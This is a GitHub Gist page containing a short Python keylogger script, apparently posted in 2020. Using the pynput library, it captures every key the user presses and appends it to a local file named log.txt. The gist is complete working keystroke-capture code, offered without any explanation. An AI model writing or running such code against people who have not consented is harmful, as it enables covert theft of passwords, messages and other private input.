Skip to content

Instantly share code, notes, and snippets.

@alexandrehrk
Created August 28, 2020 15:45
Show Gist options
  • Save alexandrehrk/1509f4bebbc11b94c8d0a134dfd9d029 to your computer and use it in GitHub Desktop.
Save alexandrehrk/1509f4bebbc11b94c8d0a134dfd9d029 to your computer and use it in GitHub Desktop.
from pynput.keyboard import Listener
def writetofile(key):
keydata = str(key)
keydata = keydata.replace("'", "")
with open("log.txt", "a") as f:
f.write(keydata)
with Listener(on_press=writetofile) as l:
l.join()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment